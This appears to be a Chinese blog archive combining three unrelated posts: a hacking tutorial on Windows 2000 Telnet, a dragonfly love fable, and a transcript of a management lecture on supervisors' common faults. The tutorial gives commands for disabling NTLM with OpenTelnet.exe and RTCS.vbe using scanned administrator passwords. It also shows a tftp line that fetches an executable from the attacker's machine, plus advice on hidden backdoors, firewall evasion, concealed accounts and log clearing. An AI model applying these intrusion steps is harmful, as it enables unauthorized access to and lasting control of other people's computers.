        下面给出HELP文件中 Telnet 服务的一部分默认设置: AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。 DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。 DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\\System32\\Cmd.exe /q /k MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。 Loginscript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\\System32\\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。 NTLM:NTLM身份验证选项。默认是2。可以有下面这些值: 0: 不使用 NTLM 身份验证。 1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。

       2: 只使用 NTLM 身份验证。 TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。 以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1 2 NTLM 提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

      早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。

       NTLM工作流程是这样的:

       1、客户端首先在本地加密当前用户的密码成为密码散列

       2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输

       3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)

       4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)

       5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器

       6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。

       7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。 从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。 由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

 1)身份验证选项=0时 ===================================== Microsoft (R) Windows (TM) Version 5.00 (Build 2195) Welcome to Microsoft Telnet Service Telnet Server Build 5.00.99201.1 login: password: \\\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678 2)身份验证选项=1时 ===================================== NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password Microsoft (R) Windows (TM) Version 5.00 (Build 2195) Welcome to Microsoft Telnet Service Telnet Server Build 5.00.99201.1 login: password: \\\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别 3)身份验证选项=2时 ===================================== NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password Server allows NTLM authentication only Server has closed connection 遗失对主机的连接。 C:\\> \\\\

仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫 所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:

        1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;

        2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;

        3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;

        4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)   

        5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道) 基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:

 OpenTelnet.exe \\\\server username password NTLMAuthor telnetport OpenTelnet.exe \\\\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口 cscript RTCS.vbe targetIP username password NTLMAuthor telnetport cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式>

五 在telnet中该做什么 本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲具体做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。

1 查看系统信息 呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。

2 使用tftp传送文件

       想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢? 用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。

它是这样使用的:

       首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令: C:\\>tftp –i ip get xinxin.exe c:\\abc\\xinxin.exe 其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的) 需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。

3 安置后门

        安置后门放在第二步好像早了点,如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。 后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:

         1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。

        2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。

        3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似\’hacking\’的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。

       4 打补丁 如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。

5 清除日志

可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。

2006年07月17日

   在一个非常宁静而美丽的小城,有一对非常恩爱的恋人,他们每天都去海边看日出,晚上去海边送夕阳,每个见过他们的人都向他们投来羡慕的目光。

  可是有一天,在一场车祸中,女孩不幸受了重伤,她静静地躺在医院的病床上,几天几夜都没有醒过来。白天,男孩就守在床前不停地呼唤毫无知觉的恋人;晚上,他就跑到小城的教堂里向上帝祷告,他已经哭干了眼泪。

  一个月过去了,女孩仍然昏睡着,而男孩早已憔悴不堪了,但他仍苦苦地支撑着。终于有一天,上帝被这个痴情的男孩感动了。于是他决定给这个执着的男孩一个例外。上帝问他:“你愿意用自己的生命作为交换吗?”男孩毫不犹豫地回答:“我愿意!”上帝说:“那好吧,我可以让你的恋人很快醒过来,但你要答应化作三年的蜻蜓,你愿意吗?”男孩听了,还是坚定地回答道:“我愿意!”

  天亮了,男孩已经变成了一只漂亮的蜻蜓,他告别了上帝便匆匆地飞到了医院。女孩真的醒了,而且她还在跟身旁的一位医生交谈着什么,可惜他听不到。

  几天后,女孩便康复出院了,但是她并不快乐。她四处打听着男孩的下落,但没有人知道男孩究竟去了哪里。女孩整天不停地寻找着,然而早已化身成蜻蜓的男孩却无时无刻不围绕在她身边,只是他不会呼喊,不会拥抱,他只能默默地承受着她的视而不见。夏天过去了,秋天的凉风吹落了树叶,蜻蜓不得不离开这里。于是他最后一次飞落在女孩的肩上。他想用自己的翅膀抚摸她的脸,用细小的嘴来亲吻她的额头,然而他弱小的身体还是不足以被她发现。

   转眼间,春天来了,蜻蜓迫不及待地飞回来寻找自己的恋人。然而,她那熟悉的身影旁站着一个高大而英俊的男人,那一刹那,蜻蜓几乎快从半空中坠落下来。人们讲起车祸后女孩病得多么的严重,描述着那名男医生有多么的善良、可爱,还描述着他们的爱情有多么的理所当然,当然也描述了女孩已经快乐如从前。

  蜻蜓伤心极了,在接下来的几天中,他常常会看到那个男人带着自己的恋人在海边看日出,晚上又在海边看日落,而他自己除了偶尔能停落在她的肩上以外,什么也做不了。
这一年的夏天特别长,蜻蜓每天痛苦地低飞着,他已经没有勇气接近自己昔日的恋人。她和那男人之间的喃喃细语,他和她快乐的笑声,都令他窒息。

  第三年的夏天,蜻蜓已不再常常去看望自己的恋人了。她的肩被男医生轻拥着,脸被男医生轻轻地吻着,根本没有时间去留意一只伤心的蜻蜓,更没有心情去怀念过去。

  上帝约定的三年期限很快就要到了。就在最后一天,蜻蜓昔日的恋人跟那个男医生举行了婚礼。

  蜻蜓悄悄地飞进教堂,落在上帝的肩膀上,他听到下面的恋人对上帝发誓说:我愿意!他看着那个男医生把戒指戴到昔日恋人的手上,然后看着他们甜蜜地亲吻着。蜻蜓流下了伤心的泪水。

  上帝叹息着:“你后悔了吗?”蜻蜓擦干了眼泪:“没有!”上帝又带着一丝愉悦说:“那么,明天你就可以变回你自己了。”蜻蜓摇了摇头:“就让我做一辈子蜻蜓吧……”

  有些缘分是注定要失去的,有些缘分是永远不会有好结果的。爱一个人不一定要拥有,但拥有一个人就一定要好好去爱他。你的肩上有蜻蜓吗?

2006年05月06日

做主管常犯的毛病

台湾 余世维 博士

在中国人寿的《成功经理人》讲座实录

毛病一:拒绝承担个人的责任

这两天在课程没有上之前,我们有几点简单的事情,先把它讲一下。第一件事就是各位的手上都有本教材,我们上课的时候不用去看它,因为这本教材是发给大家作纪念的,你带回去看一下就可以了。因为我上课所讲的例子,这个教材里面都没有。那个教材如果把我的例子统统摆下去,那个教材大概要三四百页,所以我们通常是不准备这样搞的。所以例子统统是我自己讲的,教材实际上不用去看它。因为我们这两天所上的东西又不是物理化学,也不是微积分,没有什么大的困难。那么我讲的普通话,大概各位听起来也非常的清楚。所以其实这个教材看不看也没什么关系的,但是因为培训嘛,总要有教材,那我们就不能免俗,把教材者发给大家。

另外,这两天上课上午大概4小时,下午也接近4小时,这个时间通常比较长。按照心理学,一个人的注意力,通常只有1.5小时,所以我会把上午这个4小时,设立成两次休息,一次大概是10分钟,最多一刻钟这个样子。我宁愿把休息分作两次,让大家的注意力比较集中一点。再就是这两天上课的内容呢?在你们给我的沟通当中是4块,但最后两块合起来其实是一块,其实我是三大块。

第一大块就是做一个管理者,主管,你常常犯哪些毛病。那么这一块讲完以后,如果你给我说,余先生你刚才所讲的毛病,我一个都没有犯过。那么,我就恭喜,厉害!但是如果真的犯过了,或者犯得不少,那么我们自己把他检讨一下,我来这里的任务是煽风点火。我把问题讲出来,我就要回上海了,接下来是你们,是你们所要去思考这些问题,看看我讲的话对你有什么触动?所以我们第一大块是管理者常犯的毛病。

第二大块是中国人常常重视学校的文凭看分数,但是对EQ,就是情绪的掌握,通常比较脆弱,这个部分在我们整个社会都非常的普遍,这是我讲的第2个部分,就是关于EQ。

第三块是管理的技巧。管理技巧在交大啊,复旦啊,这样的学校,还有浙江大学,他通常要学2-3年,我们想想看有一天,只有我们讲他最重要的事情。我来这个地方不是来上管理学的学问,我是来讲做一个主管,应该常常在哪些技巧当中要加强,中间尤其最重要的一项是沟通,这个跟团队精神很有关系,这一块算是第三大块。

如果今天算我开始讲话了,一直讲到明天,我在体力上绝对没有问题,重要的是各位听起来会非常枯燥。所以我在每堂课后面都有讨论,那时叫大家讨论一下。可是我看到诸位的桌子,坐次也不少,如果每一桌都要起来发言,指定不见得他愿意,或者他有时间。所以我的方法是这样,讨论的时候统统都是自由讨论,每一桌自由讨论。但发言的时候我们也自由发言,你想讲就讲吧,而且每一桌也不是限定只有一个人可以讲的,或者张三讲了李四可以补充,或者王五提出反对的意见,这个没有关系,所以我们就自由讨论,自由发表。

最后要强调的事情,就是我讲话所用的背景。当我讲到中国人,在我们这两天霁话的时候,是指所有的中华民族,所有的汗蒙壮苗及其它的所有的少数民族群。在我讲中国人三个字的定义,半不是指在大陆的中国人,连海外的中国人统统的算起来。因为中国人到哪里去都是中国人,这一点是我要在地域上稍微强调的。

再一个我要强调的是,当我讲到别的国家,因为我们讲例子,一定会讲到别的国家,当我讲到别的国家,尽量讲人家的优点。其实我在外面跑了这么多年,在美国和英国读书,而且我在日本航空做了12年,从打字员一直干到副总,最高的职位了,因为总经理永远都是日本人。我38岁当到日航的副总,全世界最年轻的副总。在日本航空一共员工有四万多人,他是不轻意让一个人在他40岁前升他为副总的。我其实在日本航空拼了命干,12年升到副总。但是我们讲人家的时候,我们尽量学习人家的优点,所以美国、英国、法国、日本、这些世界强国这个卑鄙的,无赖的,莫名其妙的,我统统都见过。但是我们尽量学人家优点,一个伟大的民族,在探讨自己的时候,要探讨自己的缺点。中华民族有多少优秀,根本不需要我在这里讲,你从小学到现在,你在课本上,不知道学了多少。我们关起门来探讨中国人,就要探讨中国人的弱点。讲到人家,就尽量学习人家的优点。

我看过有人是这样的,腰上挂个Panasonic,手上拿个Canon,回家看Sony,出门开Toyota,然后一面一开一面说,妈的小日本!这个不是本事,如果是本事就把Panasonic、Sony丢在水里,把Canon丢在河里,把家里的Sony砸烂,这就是本事。所以开人家的汽车,用人家的照相机,欣赏人家的电视,手上拿着人家的手机,就不要讲小日本。应该说我们海尔的电冰箱为什么没有卖到东京?为什么东京的三洋卖到我们中国上海?我们要来研究这个问题,这个民族才会争气,这样的中华民族才会伟大。所以关起门来一讲到别人,尽量学人家的优点,讲到自己,尽量探讨缺点,这是我上课的一个背景。

最后一件事讲我自己,我其实生活在上海,一岁的时候跟我爸我妈到台湾去,所以其实我们家里在曾祖父时代,就一直在上海做生意。如果不是打仗,我相我会在上海长大。我到了台湾以后就到美国去受教育,所以我的教育是在美国和英国完成的。但是我工作的时候在日本,然后我采购的时候在德国。世界上有名的国家,我大概都到过。这30年来围绕地球20圈,所以我在上课的时候会讲很多的例子,是我自己亲眼所见,或者我亲身经历,或者是我在生活里面所体会。因此我的课没有什么理论,所以这两天你不会听得太枯燥。我不是一个很喜欢讲理论的人,虽然晚上我都两个大学,我其实讲理论,问题是对各位来讲没有意义,所以我的课尽量讲实务。

好,我们要启开我们的课程。我看大家坐得这个样子,有时会觉得有点难受,所以,你把你的椅子尽量调到比较舒服的位置,尤其这两边的人,他们统统都会眼光向前,即使可以稍为调过来一点,无所谓。你觉得怎么样舒服就怎么坐好了。反正这两天我们不要当作培训,太严肃了。就当作来听听我们互相交流的意见吧。

我们来开启我们的话题。先讲第一块,管理者常犯的错误。北京科技大学的眼睛,魏寿坤教授讲了这么一句话,值得我们特别注意,我们中国是钢铁大国,但是不是钢铁强国。我如果把这句话来讲中国人寿,你有什么想法?如果有人讲这句话你有什么看法?

一个国家再大,人口再多,也没有用。瑞典人口只有850万,只有上海一半,国民所得56000美金。我们全中国的人口所得连他的零头都不到,因为上海人均所得3200美金,瑞典56000美金,人口才850万。这就证明,国家要精,人民的素质要高,生产的价值要强,这个国家就会富强。所以魏寿坤讲这句话没有人敢反对。因为魏寿坤教授已经90岁了,他的学生遍步中国江江南北,包钢、首钢、武钢跟鞍钢都是他的学生,他讲这句话,哪一个学生敢讲不对,哪一个中国人敢说不对?我们中国是钢铁大国,但不是强国,最主要的原因是什么?我们来看第2张图片,最重要的原因是什么?

我们中国听说今天入世了,全中国我只听得朱镕基在讲这句话时说,中国要入世的时候,我非常的忧愁。大家都把它当作喜事,只有朱镕基说,我非常的忧愁。不愧是中国的总理,他知道这个东西出去哪里。中国要入世了,最大的问题其实是管理。这有一句话,以后把它修正一下。我在国内常常听人家说这句话,中国跟国际接轨,有人还给我说,上海陆家嘴是中国的曼哈顿。以后这句话不要常常这样子讲,以后要说,中国跟国际的软件接轨,硬件早冰接轨了,看看你们手上的手机,全世界最好的手机,都在你们的手上。你有机会到欧洲去看看,他们拿的手机说说是第三代的。我们中国大陆拿的手机全是第四代的,台湾跟香港还拿第二代的,那个黑金钢,其实我桌上就有一只,我有四只手机。那第二代的手机还在我桌上,那个第一代像两个饭盒大的,在我家的柜里,已经当作国董,被我收藏起来。所以当全世界都在用第三代的时候,我们全中国就进入第四代手机了。所以,中国电信派代表到欧洲去考察,说德国用的交换机还不如我们中国的。但是你敢说,德国的效率不如中国吗?所以,其实手机是一个工具。这个硬件做得再好,也只是工具很好。在上海这个陆家嘴号称中国曼哈顿,那个叫做硬件。我在美国的曼哈顿,其实待过2-3年,那时候我是亚特兰大的副总,那时候,我就能在曼哈顿,请问我们上海陆家嘴那个曼哈顿里面的那个中国头脑,跟美国纽约的美国头脑完全一样吗?你认为呢?所以这中间最大的区别是软件。所以,以后不要常常讲中国跟国际接轨,我请你加两个字,中国跟国际的软件接轨,以后要这样讲话。

除了这一点以外,就是这一点,所谓管理的问题。一个制度,影响到整个企业,一个国家社会企业的动作,其实完全靠制度,而这个制度体现在管理上。所以,朱镕基总理说,他非常的忧愁,就是这个门一打开以后,春秋战国时代就立即开始。我们就拿中国人寿来讲好了,中国有几个市场没有完全开放,一个是金融,中间包含保险,也包含银行。一个是教育,中间包括大学、中学跟小学,还有专科学校。一个是医疗,中间包含医疗金、养老金。所以你想想看,这些市场如果统统一开,这些外国企业就统统进来,这个门还没有完全打开,你们这个寿险已经打成这个样子了。那个美国的AIA友邦,重新进来了,美国安泰也进来了,其实我认为这些公司还没有完全开始,因为中国政府对他们的限制,多少还是有的。那么各位在中国政府的保护下面,多多少少也稳坐这个江山。可是我不太相信这个市场永远是这个样子打?所以这个安泰和大都会保险,英国的寿险,如果铆足了全劲进入中国,我相信马上就不一样了。因此我们中国人寿保险越早体现这一点就越好。因为这个市场,就是需要这样慢慢建立起来。

那么朱先生所担心的事情,就是这种管理对中国来讲是一个弱点。因为我们正好从70年代以后才慢慢下放,正式开放是80年代,真的走进开放,其实到了90年代,邓小平先生死前做的最伟大的一件事情,就是把中国导向开放。可是各位,在全世界统统成长完毕的时候中国开始成长了。人家进到我们中国来会不会说,啊呀?中国的开放比较晚,我们给中国点时间,让他学习,学习。不会,活该,进来就是打!最好都不会,最好中国维持现状。那么这些日本公司,美国公司就进来了。最好中国维持现状,这个市场打起来比较精彩。所以我们要快速的学习,日本人欧美人20年时间,我们中国人5年要把它学起来。人家30年建立的制度,我们7年就把它结束。如果我们不能这个样子,这个门一打开,就不得了了。所以,难怪朱总理说,我非常忧愁,是有这个道理的。

但是坏消息当中也有一点点好消息,这个好消息也是有条件的。我们看看这个问题,最近我们晓得美国打阿富汗,你认为谁在发战争财,居然是我们中国。香港跟中国变成当今世界资金的避风港。我们想都没有想到,这个阿富汗战争一打,美国一片危险,欧洲一片愁云惨雾,整个东南亚、中亚、中东在震荡。这时候世界上正在想,我们应该躲到哪里去好呢?结果发现是躲到中国比较好。难怪美国总统小布什到了中国上海,居然说:这个地方非常的安全。当然安全吗?老鼠都要经过检查。所以,这表示我们这里水泄不通。可话讲回来,如果你让老外带着美金冲到中国来,结果发现不是那么回事啊!一、二十年以后,他们就走了,你知道台湾人带着钱往大陆冲的时候,你知道日本讲什么话吗?他说真奇怪,我们正要带着钱离开大陆,台湾就一波波的进来了,两波人在机场相撞,这就是日本人来讲,他们是半信半疑。日本财经新闻发表了一篇报告,中国是全世界风险最高的地方,在中国投资有非常大的风险,尤其是政策因素非常的不稳定。这个报道在日本财经新闻上面。所以,日本人觉得中国充满了变量,台湾人觉得中国充满了机会,香港人是觉得一半变量,一半机会。反正大家在进这个大门前,都是带着一点点怀疑的,但愿这句话是对的,香港和中国是未来资金的避风港。但愿他们进来不会后悔。那么请问,条件是什么?条件就是中国把制度建立起来,就这么简单。所以入世了以后,中国最大的问题,就是管理,这句话是很正确的,这是我的序言。

我们来看看管理者所犯的第一个毛病。就是拒绝承担个人的责任。我把这个事情列在第一,就是我认为这个事情最严重,所以我把他列为第一个毛病。而且我发现任何问题,都不是跑马讲的,都是教育,从小教育造成的,拒绝承担个人的责任。我们从小在教育当中,没有注意这个问题。以至于长大以后就拒绝承担责任。先讲一个长大的问题,回过头来讲教育的问题。我在我董事长面前,从来不提起我下属的名字。我们公司1.8万人,我们董事长管理9千,我9千,我们两个人合起来管1.8万,所以我底下有9千,我的一级干部就146个。我碰到我的董事长,从来不提起他们的名字。譬如说搞教育培训的陈总,陈光思先生,他碰到我们单总,不管讲到任何事情,单总责怪他到任何一点,他都不能提起他底下的名字,尽量不要提到他底下,潘先生与崔先生的名字。这种观念叫做负起责任。我敢这样讲,国为我二、三十年来,我都是这样做的。所以我在董事长的面前从来不提下属的名字。我董事长也是夸过我的,我也不是生下来就什么事都做得很周到的,余总经理你小心点,我们的钢铁最近在下滑,我们公司的不锈钢厂,世界排名第四位,但是韩国的普香钢铁,最近在美国跟我们干起来。所以我们有一场激烈的竞争。余总经理,我们的钢铁最近在下滑,这是我的错。还有,余总经理,我们西班的家具最近不大好卖,这是我的疏忽。还有余总经理,最近那个正付厂长,听说不大想干,这是我失查。下去,我到我的房间,我把他们叫进来再骂。对不对!作为一个总经理就要这个样子,如果我跟我的董事长讲,这个政府他……这个家具因为丘院长……那个钢铁是我那个王厂长……我们董事长会怎么讲?余总经理,那么我要你干什么?就是这句话,不能让他讲,他一讲,我就要去死,太没有面子了,这就是负起责。长大了就养成了这个习惯。

中国的小孩子学会的第一件事,就是从小说谎,中国的学生学会的第一件事就是学会作弊,中国的工作人员学会的第一件事情,就是不负责任。你没有想到是从小开始学的?从说谎开始,最后变得不负责任,就是这个道理。

今天早上崔先生来接我,他因为有事晚了一点,他见到我的第一句话,就说这是我的错。这样子正确。如果他一见到我就解释,路上车太多了,他的车半路抛锚了,然后他在门口摸不到路了,我都听不下去了。但是他一说,是我的错,我就没有任何话讲。这就是一个态度,这就叫负起责任。任何事情都要这样去做,负起责任。可是刚才讲过了,我们怎么从小就会有这个习惯?我研究很久,我非常喜欢观察问题,所以观察出来了。中国小孩,从那边跑过来,撞到这个桌子,他哭起来了,中国的妈妈,爸爸在做什么?小宝不要哭,妈妈打这个桌子,妈妈打这个桌子。那么你的小孩摔到地上哭起来了,这地不好,妈妈打这个地,这地不好,打这个地。我在日本东京看到的不是这样。我在美国华盛顿看到的也不是这样。我在日本东京看到一小孩从那边跑过来,撞了这个桌子,他哭起来了,全世界的小孩撞到桌子都哭的,这个妈妈就马上把他带过来说,再走一遍!再走一遍!世界上有这种小孩第二遍又撞上去了吗?所以他就从旁边走过去了,妈妈马上就讲,一个小孩会撞到桌子,有三个理由,第一个跑步冲得太快,来不及刹车。第二个,头一直低在地上,没有注意看,第三个,心中不知道在想什么?你是哪一个?这个就是我在日本看到的他们的教育。

所以我不知道这里是谁先发明的?又是哪个伟大的中国母亲先想到的。妈妈会这样做,是因为妈妈的妈妈这样做。妈妈的妈妈这样做是妈妈的妈妈的妈妈这样做。所以我很想研究是哪一个伟大的中国母亲想到的这一招,难道日本人不知道这一招吗?美国人不知道?我在华盛顿,参加一个国会的听证会,那时候做博士后研究,结果呢?我出来时在路边等车,看见一个美国妈妈带一个小孩过马路,那个小孩也是摔一跤,美国妈妈就走过去,他比较走得慢,妈妈就过去了,汤米站起来!他就在地上一直哭,汤米!站起来!他就耍赖,我跟着说,站起来!他就站起来了。妈妈带到路边就开始训,汤米,你看看你刚才,像个男人吗?他才三岁,像个男人吗?还说长大了要保护妈妈,你那个样子能保护我吗?做事情不能负担自己的责任?还妨碍交通。稀里哗啦骂了一通,这美国孩子含着眼泪,妈妈就给他带走了。

我刚才讲到的日本孩子,其实只有两岁,我刚才讲到美国孩子其实只有三岁!所以,国民教育要从小开始。所以日本人跟美国人,还有欧洲人,他们从小就这样教育长大,所他们比较负起责任。我相信你在上海,杭州还是中国各地,你一定看过很老外,他们该什么样子就什么样子。其实你没有注意到这是从小教育的问题,你也没有注意到,你这么一打,打掉了中华民族,中华民族就这样子打掉的。从今以后,你不要再打了。如果你说,余先你不早说,我已经打好几次了,那么注意你的孙子。

那我来看看他的道理。有效的管理者,会为自己的事情负起责任,所以这件事情,如果你今天是个主管,就请对一切事情的结果负起你的责任。抗美援朝时候美国总统叫做杜鲁门,你一定听过的,他的桌子上摆了一个牌子,book of stop here。Book就是我我们打麻将的时候,东西南北中那个东西,那个东西英文叫做book,可是在外国打牌的时候,也有那个东西,排到谁叫谁,谁发牌,不过他们是打纸牌就是了。这个东西就做book,后来把它弄成英文成语,就是把问题丢给别人。杜鲁门总统他自己是一个总统,请问,他还不管的话要谁管呢:所以他只好把牌子挂在他的桌上,问题到此为止,就是你只要找到我,我就不能再推了。

各位,我们可不可以把这种文化用在中国人寿。每个经理的前都不得挂个牌子:问题到此为止。我请问,我们单总需要这么辛苦?我们舒总,祝总需要这么辛苦吗?对不对?他们当然就轻松了吗?所以我突然恍然大悟。美国上届总统克林顿,他交女朋友,有道理,我们是忙得老婆都不见了,你知道真正的问题在哪里吗?因为克林顿以下的统统负起责任,所以,人家交女朋友。所以单总没有交女朋友我们都要检讨。因为大家没有挂一个牌子,说,问题到此为止。如果每个人挂这个牌子不得了了。我们江主席,我们朱总理天天散步,天天上公园,天天钓鱼,所以难怪外国的领导人都非常的轻松。你看小布什,这次打阿富汗,下完命令第二天他就去度假了,他只讲了一句话,打!他就走了,至于哪里打?什么时候打?如何打?这个叫做Don’task me!不要问我。他就走了。负起责任吗?所以每个人负起责任。你看美国总统打到阿富汗去吗?要打出个样子。就是大家负起责任。所以。一旦做主管就要养成这个习惯。

这又要回到上海小时候的一个概念,我在上海火车站,有一次坐火车去苏州,看到一家美国人,爸爸背一个大包,妈妈背个中包,还有个小孩背个小包,三个人排成一条线在那里等火车。我猜爸爸那个大包里边,是一些帐篷啊!毯子啊,那些重要的东西。妈妈那个中包大概是日常用品。小孩那个小包大概是巧克力跟玩具,三个人一人一个包。这个景象我看了非常触动,因为同时上海火车站里面有100多个上海小孩,当然也包括外地人,统统是抱着可乐,拿着汉堡,啃着署条,没有一个身上背包的。可怜的老妈,背三个包,挟在手上,在等火车。你没有想到吧?中国小孩从小不负起责任,这也是一个现象。看看美国小孩他从小就背一个小包。所以你应该要给你的小孩一个小包,每个人负起自己的责任,自己的玩具,自己的点心装在自己的包里。每个人负起自己的责任,我发现西洋人是这样长大的,难怪任何东西都是从小起来的。

第二个错误,生活中只有两种行动,要么就努力的表现,要么就是不停的辩解,就只有两种行动,没有别的行动。这个地方我拿一个例子来讲,我那个老大其实很大了,我其实年纪不小了,我今年54岁,我那个老大在法国念博士,他在快要满周岁时,有一天,他拿了一个盒子一样的东西坐在床沿上,我这里一看就知道大部分人都结婚了。你要是养过小孩应该晓得,小孩到了8-9个月就开始会滚,9-10个月就开始会爬,快满周岁的时候就开始会坐,超过周岁,他就会站起来,开始学走路,我这个老大快满周岁的时候,就坐在床沿旁边,在玩他的玩具,我太太在拉那个床单,放在床里的床单,那是一个礼拜天的早上,他一拉,我这老大,就扑通!掉在地上,就哭起来了。我正好在书房,我就走过去了,我没想到,我太太碰到我的第一句话,是讲这个:我以为……我还没等她讲下去,我就打断她的话,我说太太,我替你讲,我替你把话讲完,我以为他晃一下不会掉去的?我以为他四肢统统爬在床单不会掉下去?我以为他像孙悟空那样翻一个筋斗他就站好了?我说太太,再讲,还有什么理由?我说,太太,一个东西在这里,一拉床单,它会掉下去,在物理学上叫做惯性定理,初中二年级上学期就学过了,我说太太,你是师范大学的毕业生,读过研究所,你不会不懂这个道理?所以你不能跟我讲,我以为,你应该说,这是我的错。我忘了惯性定理。从今以后她就被我养了了这个习惯。我太太是个B型血的人,大而化之。嫁给我25年以后,慢慢被我倒正过来,从今以后碰到我讲话,她不是这个样子了,她会说,我刚才犯了一个错误。我就说,说!我可以谅解任何的错误,我不喜欢辩解,我可以谅解任何错误,就不喜欢辩解。在我们家这是文化,我两个女儿篚也从来不讲这句话,我以为,我猜,我想,大概是。

在我们公司,这也是文化,我们公司18000人,没有任何人可以跟我讲这句话,只要一讲准挨我的骂。其实这也是一个习惯,大家养成这一个习惯,错了就是错了,哪个人不犯错呢?但你不要常常讲我以为吗?我以为就是辩解,就好象不是你的错。其实就是你的错,怎么不是呢?这就是一个生活态度。结论就是一个人不要常常观察办公室。哎呀!我们个人业务没有团体精力好办!哎呀,金华当然不如杭州,哎呀,温州当然超过台州!更赢过湖州,你要这样讲,这个业务就难办了。

